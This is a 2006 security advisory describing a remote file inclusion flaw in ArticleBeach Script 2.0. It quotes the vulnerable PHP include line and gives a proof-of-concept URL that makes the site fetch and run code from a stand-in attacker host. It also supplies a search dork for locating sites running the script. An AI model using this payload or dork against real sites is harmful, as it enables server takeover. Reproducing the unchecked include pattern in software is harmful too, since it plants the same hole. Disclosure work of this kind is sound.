ArticleBeach-2.0.txt

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ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability  
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Author : Zeni Susanto a.k.a Bithedz  
Date Found : October, 22th 2006  
Location : Indonesia, Bandung  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
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Affected software description:  
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Application : ArticleBeach  
version : 2.0  
vendor : http://articlebeach.com  
source url : http://www.articlebeach.com/script/  
  
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Description:  
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Articlebeach is Your one-stop source for free articles. Do you need contents to add to your web site? Or articles for use on your opt-in newsletters and e-zines? ArticleBeach has scoured the web and indexed a huge collection of articles on various subjects. Just click on the appropriate category to read the articles.  
  
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Vulnerability:  
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I found vulnerability script in index.php  
  
---------- index.PHP---------------------------------------------------------  
include($_GET["page"].".php");   
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Input passed to the "page" parameter in index.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
  
  
Proof Of Concept:  
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http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt?  
  
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Solution:  
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- download fix in vendor URL   
  
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google d0rk:  
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"ArticleBeach"  
  
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Shoutz:  
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~ My Wife Monik   
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~ #e-c-h-o, #bridge (silent) @irc.dal.net  
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Contact:  
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Bithedz[at]gmail[dot]com  
  
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